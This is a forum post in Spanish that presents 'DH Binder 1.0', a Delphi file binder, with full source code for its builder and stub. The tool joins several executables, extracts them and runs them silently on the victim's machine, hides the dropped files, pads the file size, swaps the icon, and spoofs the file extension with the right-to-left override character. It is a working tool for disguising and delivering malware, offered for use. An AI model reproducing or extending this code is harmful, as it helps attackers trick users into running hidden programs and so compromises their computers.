[Delphi] DH Binder 1.0

BigBear · Febrero 27, 2015, 12:58:05 PM

Nueva version de este simple binder que hice en Delphi con las siguientes opciones :

Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
Se puede seleccionar donde se extraen los archivos
Se puede cargar los archivos de forma oculta o normal
Se puede ocultar los archivos
Se puede elegir el icono del ejecutable generado

El builder incluye un File Pumper,Icon Changer y Extension Spoofer

Una imagen :

Los codigos :

El generador.

Código: delphi


// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit binder;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
  Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
  StrUtils;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    TabSheet5: TTabSheet;
    GroupBox1: TGroupBox;
    PageControl3: TPageControl;
    TabSheet6: TTabSheet;
    TabSheet7: TTabSheet;
    TabSheet8: TTabSheet;
    files: TListView;
    StatusBar1: TStatusBar;
    GroupBox2: TGroupBox;
    archivo_nuevo: TEdit;
    Button1: TButton;
    GroupBox3: TGroupBox;
    execute: TComboBox;
    abrir: TOpenDialog;
    GroupBox4: TGroupBox;
    Button2: TButton;
    GroupBox5: TGroupBox;
    extraction: TComboBox;
    GroupBox6: TGroupBox;
    opcion_ocultar: TCheckBox;
    check_filepumper: TCheckBox;
    GroupBox7: TGroupBox;
    GroupBox8: TGroupBox;
    pumper_count: TEdit;
    UpDown1: TUpDown;
    pumper_type: TComboBox;
    check_extension_changer: TCheckBox;
    GroupBox9: TGroupBox;
    check_extension: TCheckBox;
    extensiones: TComboBox;
    GroupBox10: TGroupBox;
    check_this_extension: TCheckBox;
    extension: TEdit;
    GroupBox11: TGroupBox;
    ruta_icono: TEdit;
    Button3: TButton;
    GroupBox12: TGroupBox;
    use_icon_changer: TCheckBox;
    preview: TImage;
    imagenes: TImageList;
    menu: TPopupMenu;
    C1: TMenuItem;
    Image2: TImage;
    GroupBox13: TGroupBox;
    Button4: TButton;
    TabSheet9: TTabSheet;
    GroupBox14: TGroupBox;
    Image3: TImage;
    Label1: TLabel;
    D1: TMenuItem;
    abrir_icono: TOpenDialog;
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure D1Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
// Functions

procedure file_pumper(archivo: string; cantidad: LongWord);
var
  arraycantidad: array of Byte;
  abriendo: TFileStream;
begin
  abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
  SetLength(arraycantidad, cantidad);
  ZeroMemory(@arraycantidad[1], cantidad);
  abriendo.Seek(0, soFromEnd);
  abriendo.Write(arraycantidad[0], High(arraycantidad));
  abriendo.Free;
end;

procedure extension_changer(archivo: string; extension: string);
var
  nombre: string;
begin
  nombre := ExtractFileName(archivo);
  nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
    [rfReplaceAll, rfIgnoreCase]);
  nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
  MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

procedure TForm1.Button1Click(Sender: TObject);
begin
  if (abrir.execute) then
  begin
    archivo_nuevo.Text := abrir.FileName;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  icono: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
begin

  if (FileExists(archivo_nuevo.Text)) then
  begin
    icono := TIcon.Create;
    files.Items.BeginUpdate;

    with files do
    begin

      listate := files.Items.Add;

      listate.Caption := ExtractFileName(archivo_nuevo.Text);
      listate.SubItems.Add(archivo_nuevo.Text);
      listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
      listate.SubItems.Add(execute.Text);

      SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
        SHGFI_ICON or SHGFI_SMALLICON);
      icono.Handle := getdata.hIcon;
      listate.ImageIndex := imagenes.AddIcon(icono);

      DestroyIcon(getdata.hIcon);

    end;

    files.Items.EndUpdate;

    archivo_nuevo.Text := '';

    StatusBar1.Panels[0].Text := '[+] File Added';
    Form1.StatusBar1.Update;
  end
  else
  begin
    StatusBar1.Panels[0].Text := '[-] File not exists';
    Form1.StatusBar1.Update;
  end;

end;

procedure TForm1.Button3Click(Sender: TObject);
begin
  if (abrir_icono.execute) then
  begin
    ruta_icono.Text := abrir_icono.FileName;
    preview.Picture.LoadFromFile(abrir_icono.FileName);
  end;
end;

procedure TForm1.Button4Click(Sender: TObject);
var
  i: integer;
  nombre: string;
  ruta: string;
  tipo: string;
  savein: string;
  opcionocultar: string;
  lineafinal: string;
  uno: DWORD;
  tam: DWORD;
  dos: DWORD;
  tres: DWORD;
  todo: Pointer;
  change: DWORD;
  valor: string;
  stubgenerado: string;
  ruta_archivo: string;
  tipocantidadz: string;
  extensionacambiar: string;

begin

  StatusBar1.Panels[0].Text := '[+] Working ...';
  Form1.StatusBar1.Update;

  if (files.Items.Count = 0) or (files.Items.Count = 1) then
  begin
    ShowMessage('You have to choose two or more files');
  end
  else
  begin
    stubgenerado := 'done.exe';

    if (opcion_ocultar.Checked = True) then
    begin
      opcionocultar := '1';
    end
    else
    begin
      opcionocultar := '0';
    end;

    if (extraction.Items[extraction.ItemIndex] = '') then
    begin
      savein := 'USERPROFILE';
    end
    else
    begin
      savein := extraction.Items[extraction.ItemIndex];
    end;

    DeleteFile(stubgenerado);
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
      stubgenerado), True);

    ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;

    uno := BeginUpdateResource(PChar(ruta_archivo), True);

    for i := 0 to files.Items.Count - 1 do
    begin

      nombre := files.Items[i].Caption;
      ruta := files.Items[i].SubItems[0];
      tipo := files.Items[i].SubItems[2];

      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
        '[63686175]';

      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
      tam := GetFileSize(dos, nil);
      GetMem(todo, tam);
      ReadFile(dos, todo^, tam, tres, nil);
      CloseHandle(dos);
      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

    end;

    EndUpdateResource(uno, False);

  end;

  //

  if (check_filepumper.Checked) then
  begin
    tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
    if (tipocantidadz = 'Byte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
    end;
    if (tipocantidadz = 'KiloByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
    end;
    if (tipocantidadz = 'MegaByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
    end;
    if (tipocantidadz = 'GigaByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
    end;
    if (tipocantidadz = 'TeraByte') then
    begin
      file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
    end;
  end;

  if (use_icon_changer.Checked) then
  begin
    try
      begin
        change := BeginUpdateResourceW
          (PWideChar(wideString(ruta_archivo)), False);
        LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
          PWideChar(wideString(ruta_icono.Text)));
        EndUpdateResourceW(change, False);
      end;
    except
      begin
        //
      end;
    end;
  end;

  if (check_extension_changer.Checked) then
  begin
    if not(check_extension.Checked and check_this_extension.Checked) then
    begin
      if (check_extension.Checked) then
      begin
        extensionacambiar := extensiones.Items[extensiones.ItemIndex];
        extension_changer(ruta_archivo, extensionacambiar);
      end;
      if (check_this_extension.Checked) then
      begin
        extension_changer(ruta_archivo, extension.Text);
      end;
    end;
  end;

  StatusBar1.Panels[0].Text := '[+] Done';
  Form1.StatusBar1.Update;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
  files.Clear;
  imagenes.Clear;
end;

procedure TForm1.D1Click(Sender: TObject);
begin
  files.DeleteSelected;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  abrir.InitialDir := GetCurrentDir;
  abrir_icono.InitialDir := GetCurrentDir;
  abrir_icono.Filter := 'ICO|*.ico|';
end;

end.

// The End ?

El Stub.

Código: delphi


// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
  System.SysUtils, ShellApi, Windows;

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure cargar_archivo(archivo: TFileName; tipo: string);
var
  data: SHELLEXECUTEINFO;
begin
  if (FileExists(archivo)) then
  begin
    ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
    data.cbSize := SizeOf(SHELLEXECUTEINFO);
    data.fMask := SEE_MASK_NOCLOSEPROCESS;
    data.Wnd := 0;
    data.lpVerb := 'open';
    data.lpFile := PChar(archivo);
    if (tipo = 'Show') then
    begin
      data.nShow := SW_SHOWNORMAL;
    end;
    if (tipo = 'Hide') then
    begin
      data.nShow := SW_HIDE;
    end;
    if not ShellExecuteEx(@data) then
      if GetLastError <= 32 then
      begin
        SysErrorMessage(GetLastError);
      end;
  end;
end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
  data: DWORD;
  uno: DWORD;
  dos: DWORD;
  cinco2: string;
  nombre: string;
  tipodecarga: string;
  ruta: string;
  ocultar: string;

begin

  Result := True;

  cinco2 := cinco;
  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  cinco2 := dhencode(cinco2, 'decode');
  cinco2 := LowerCase(cinco2);

  nombre := regex(cinco2, '[nombre]', '[nombre]');
  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  ocultar := regex(cinco2, '[hide]', '[hide]');

  if not(tipodecarga = '') then
  begin
    data := FindResource(0, cinco, cuatro);

    uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
      nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
    WriteFile(uno, LockResource(LoadResource(0, data))^,
      SizeOfResource(0, data), dos, nil);

    CloseHandle(uno);

    if (ocultar = '1') then
    begin
      SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
    end;

    if (tipodecarga = 'normal') then
    begin
      // Writeln('Abriendo normal');
      cargar_archivo(ruta + nombre, 'Show');
    end;
    if (tipodecarga = 'hide') then
    begin
      // Writeln('Abriendo oculto');
      cargar_archivo(ruta + nombre, 'Hide');
    end;
  end;
end;

begin

  EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?

Un video con ejemplos de uso :

Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

[Delphi] DH Binder 1.0

BigBear

Febrero 27, 2015, 12:58:05 PM